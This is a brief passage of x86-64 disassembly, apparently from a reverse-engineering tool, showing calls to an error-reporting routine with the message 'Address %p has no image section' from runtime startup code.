mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]